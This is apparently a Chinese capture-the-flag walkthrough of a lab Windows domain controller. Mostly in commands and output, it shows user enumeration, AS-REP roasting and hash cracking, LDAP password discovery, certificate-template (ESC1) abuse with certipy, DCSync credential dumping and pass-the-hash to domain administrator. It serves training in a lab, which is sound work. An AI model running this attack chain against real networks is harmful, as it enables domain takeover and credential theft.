一、信息收集

1.1 主机发现

使用 arp-scan 进行网段扫描，发现目标主机：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l
[sudo] kali 的密码：
Interface: eth0, type: EN10MB, MAC: 00:0c:29:57:e5:45, IPv4: 192.168.205.128
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
...
192.168.205.177 00:0c:29:6b:4e:b2       VMware, Inc.
...
```

确定目标主机IP为 `192.168.205.177`。

1.2 端口扫描

使用 RustScan 对目标主机进行端口扫描：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ rustscan -a 192.168.205.177
...
Open 192.168.205.177:53
Open 192.168.205.177:88
Open 192.168.205.177:135
Open 192.168.205.177:389
Open 192.168.205.177:445
Open 192.168.205.177:464
Open 192.168.205.177:636
Open 192.168.205.177:3268
Open 192.168.205.177:3269
Open 192.168.205.177:5985
Open 192.168.205.177:9389
```

从开放的端口可以判断这是一台域控制器：

- **53**: DNS服务
- **88**: Kerberos认证
- **389/636**: LDAP/LDAPS
- **445**: SMB服务
- **5985**: WinRM服务

1.3 SMB服务探测

1.3.1 SMB共享枚举

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ smbclient -L 192.168.205.177 -N
        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      远程管理
        C$              Disk      默认共享
        IPC$            IPC       远程 IPC
        NETLOGON        Disk      Logon server share
        readme          Disk
        SYSVOL          Disk      Logon server share
```

发现了一个可疑的共享 `readme`。

1.3.2 readme共享访问

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ smbclient //192.168.205.177/readme -N
smb: \> get readme.txt.txt
smb: \> exit

┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ cat readme.txt.txt
I've already disabled Windows Defender, and the system updates have been
completed. So, enjoy exploring! If you run into any issues or get stuck, feel
free to reach out to me, Wackymaker. My intention is simply to make sure everyone
can learn something from this experience
```

1.4 域环境信息收集

1.4.1 时间同步

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ sudo ntpdate -s 192.168.205.177
```

1.4.2 enum4linux枚举

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ enum4linux -a 192.168.205.177
...
[+] Got domain/workgroup name: CONFIDENCE
...
Domain Name: CONFIDENCE
Domain Sid: S-1-5-21-3649830887-1815587496-1699028491
[+] Host is part of a domain (not a workgroup)
...
```

1.4.3 配置hosts文件

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ sudo vim /etc/hosts
192.168.205.177 confidence.com dc.confidence.com
```

二、用户枚举与AS-REP Roasting攻击

2.1 用户SID枚举

使用 lookupsid.py 工具枚举域用户：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ lookupsid.py confidence.com/guest@192.168.205.177
...
500: CONFIDENCE\Administrator (SidTypeUser)
501: CONFIDENCE\Guest (SidTypeUser)
502: CONFIDENCE\krbtgt (SidTypeUser)
...
1104: CONFIDENCE\ca-user (SidTypeUser)
1105: CONFIDENCE\mulis (SidTypeUser)
1106: CONFIDENCE\hyh (SidTypeUser)
```

创建用户列表：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ echo -e "Administrator\nGuest\nca-user\nmulis\nhyh" > user
```

2.2 AS-REP Roasting攻击

检测是否存在不需要预认证的用户：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ GetNPUsers.py confidence.com/ -usersfile user -dc-ip 192.168.205.177 -format
hashcat -outputfile hash
...
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Guest doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ca-user doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User hyh doesn't have UF_DONT_REQUIRE_PREAUTH set
```

成功获取到 `mulis` 用户的 AS-REP hash：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ cat hash
$krb5asrep$23$mulis@CONFIDENCE.COM:c79a52a80039b6d8e16a6ff1fbf65378$...
```

2.3 Hash破解

使用 John the Ripper 破解AS-REP hash：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
...
babygirl         ($krb5asrep$23$mulis@CONFIDENCE.COM)
1g 0:00:00:00 DONE 100.0g/s 409600p/s
```

成功获取凭证：`mulis:babygirl`

2.4 凭证验证

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ crackmapexec smb 192.168.205.177 -u mulis -p babygirl
SMB         192.168.205.177 445    DC               [*] Windows Server 2022
Build 20348 x64 (name:DC) (domain:confidence.com) (signing:True) (SMBv1:False)
SMB         192.168.205.177 445    DC               [+]
confidence.com\mulis:babygirl
```

三、BloodHound域信息收集与权限分析

3.1 数据采集

使用 bloodhound-python 收集域信息：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ bloodhound-python -u mulis -p babygirl -ns 192.168.205.177 -d confidence.com
-c all
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: confidence.com
...
INFO: Found 7 users
INFO: Found 53 groups
...
INFO: Done in 00M 00S
```

3.2 关键权限发现

分析BloodHound收集的数据，在用户权限关系中发现关键信息：

```
{
  "ObjectIdentifier": "S-1-5-21-3649830887-1815587496-1699028491-1104",
  "Properties": {
    "name": "CA-USER@CONFIDENCE.COM"
  },
  "Aces": [
    {
      "RightName": "GenericWrite",
      "IsInherited": false,
      "PrincipalSID": "S-1-5-21-3649830887-1815587496-1699028491-1106",
      "PrincipalType": "User"
    }
  ]
}
```

关键发现：用户 `hyh` (1106) 对用户 `ca-user` (1104) 拥有 `GenericWrite` 权限！

同时发现 `ca-user` 是 `ca-admin` 组的成员：

```
"Members": [
  {
    "ObjectIdentifier": "S-1-5-21-3649830887-1815587496-1699028491-1104",
    "ObjectType": "User"
  }
]
```

四、LDAP信息挖掘获取hyh凭证

4.1 LDAP查询发现密码

使用 mulis 凭证查询 hyh 用户信息：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ ldapsearch -x -H ldap://192.168.205.177 -D "mulis@confidence.com" -w babygirl -b "CN=hyh,CN=Users,DC=confidence,DC=com" -s base "*"
...
info: Password: 3948571026
memberOf: CN=Remote Management Users,CN=Builtin,DC=confidence,DC=com
...
```

在 `info` 字段中发现了 hyh 用户的密码：`3948571026`

4.2 WinRM登录

利用获取的凭证通过WinRM登录：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ evil-winrm -i 192.168.205.177 -u hyh -p 3948571026
...
*Evil-WinRM* PS C:\Users\hyh\Desktop> type user.txt
this user flag
```

五、GenericWrite权限利用与证书服务攻击

5.1 GenericWrite权限说明

GenericWrite权限允许攻击者修改目标用户对象的多种属性，包括：

- 密码重置
- 用户属性修改
- SPN设置
- 组成员关系

5.2 证书服务枚举

使用 Certipy 枚举证书模板：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ certipy-ad find -u hyh@confidence.com -p 3948571026 -dc-ip 192.168.205.177 -
vulnerable -stdout
...
Certificate Templates
  0
    Template Name                       : ca-login
    Display Name                        : ca-login
    Certificate Authorities             : confidence-DC-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollee Supplies Subject           : True
    Authorized Signatures Required      : 0
    Enrollment Rights                   : CONFIDENCE.COM\ca-admin
                                          CONFIDENCE.COM\Domain Admins
                                          CONFIDENCE.COM\Domain Computers
                                          CONFIDENCE.COM\Enterprise Admins
    [+] User Enrollable Principals      : CONFIDENCE.COM\Domain Computers
    [!] Vulnerabilities
      ESC1                              : Enrollee supplies subject and template
allows client authentication.
```

关键发现：

- **ESC1漏洞**：证书模板允许申请者提供主题名称
- **ca-admin组权限**：该组可以注册证书
- **ca-user是ca-admin成员**

5.3 创建机器账户用于证书申请

添加机器账户以利用Domain Computers权限：

```
*Evil-WinRM* PS C:\Users\hyh\Desktop> net computer \\EVILPC /add
命令成功完成。

*Evil-WinRM* PS C:\Users\hyh\Desktop> $machinepass = ConvertTo-SecureString
"passwd123" -AsPlainText -Force
*Evil-WinRM* PS C:\Users\hyh\Desktop> Set-ADAccountPassword -Identity "EVILPC$"
-NewPassword $machinepass -Reset
```

5.4 获取Administrator SID

```
*Evil-WinRM* PS C:\Users\hyh\Desktop> Get-ADUser administrator | select SID
SID
---
S-1-5-21-3649830887-1815587496-1699028491-500
```

5.5 ESC1漏洞利用

使用机器账户申请Administrator的证书：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ certipy-ad req -u 'EVILPC$@confidence.com' -p 'passwd123' -ca confidence-DC-
CA -template ca-login -upn administrator@confidence.com -sid S-1-5-21-
3649830887-1815587496-1699028491-500 -dc-ip 192.168.205.177
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 5
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@confidence.com'
[*] Certificate object SID is 'S-1-5-21-3649830887-1815587496-1699028491-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
```

六、域管理员权限获取

6.1 证书认证获取TGT和NT Hash

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ certipy-ad auth -pfx administrator.pfx -username administrator -domain
confidence.com -dc-ip 192.168.205.177
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator@confidence.com'
[*]     SAN URL SID: 'S-1-5-21-3649830887-1815587496-1699028491-500'
[*]     Security Extension SID: 'S-1-5-21-3649830887-1815587496-1699028491-500'
[*] Using principal: 'administrator@confidence.com'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@confidence.com':
aad3b435b51404eeaad3b435b51404ee:bbabdc192282668fe5190ab0c5150b34
```

6.2 DCSync攻击

使用TGT票据执行DCSync攻击：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ export KRB5CCNAME=administrator.ccache

┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ secretsdump.py -k confidence.com/administrator@dc.confidence.com -no-pass -
just-dc
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:bbabdc192282668fe5190ab0c5150
b34:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
```

```
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:45ea529d24347b6d23041e1258cc3db3:::
ca-user:1104:aad3b435b51404eeaad3b435b51404ee:8636734a8c71b741a33bcb2bf323ea5c:::
mulis:1105:aad3b435b51404eeaad3b435b51404ee:4c090b2a4a9a78b43510ceec3a60f90b:::
hyh:1106:aad3b435b51404eeaad3b435b51404ee:98ae07bdfd021b71d75f40c64cef14ed:::
...
```

6.3 域控制器访问

使用Administrator hash进行Pass-the-Hash攻击：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ evil-winrm -i 192.168.205.177 -u administrator -H bbabdc192282668fe5190ab0c5150b34
...
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
confidence\administrator

*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
this root  and thank you
```